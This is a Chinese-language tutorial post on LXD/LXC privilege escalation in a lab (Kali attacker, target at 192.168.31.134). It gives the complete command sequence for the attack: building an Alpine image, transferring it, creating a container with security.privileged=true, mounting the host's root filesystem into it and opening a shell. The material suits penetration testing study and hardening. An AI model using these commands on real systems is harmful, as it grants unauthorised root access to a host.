lxd提权

lxd/lxc提权

漏洞介绍

lxd是一个root进程,它可以负责执行任意用户的lxd,unix套接字写入访问操作。而且在一些情况下,lxd不会调用它的用户权限进行检查和匹配

原理可以理解为用用户创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果

提权复现

环境:攻击机kali 192.168.31.131 靶机 192.168.31.134

lxd提权_第1张图片

lxd提权_第2张图片

在攻击机kali上操作

通过git将构建好的alpine镜像克隆到本地,并构建

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

然后将自己操作系统对应架构tar文件发送到靶机上

python -m http.server 8848

然后在下载的目录上使用此命令导入镜像

lxc image import ./alpine*.tar.gz --alias myimage 

初始化镜像,一路回车选择默认,不过会有几个显示以及存在default,让你重命名的,选择了就可以

lxd init

可能最后报错,但是也没关系

例如

image-20231125171111579

运行镜像

lxc init myimage mycontainer -c security.privileged=true

将/root挂载到镜像中

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

与镜像交互

lxc start mycontainer
lxc exec mycontainer /bin/sh
lxc start mycontainer
lxc exec mycontainer /bin/sh

lxd提权_第3张图片

你可能感兴趣的:(内网安全,权限提升,安全,网络安全)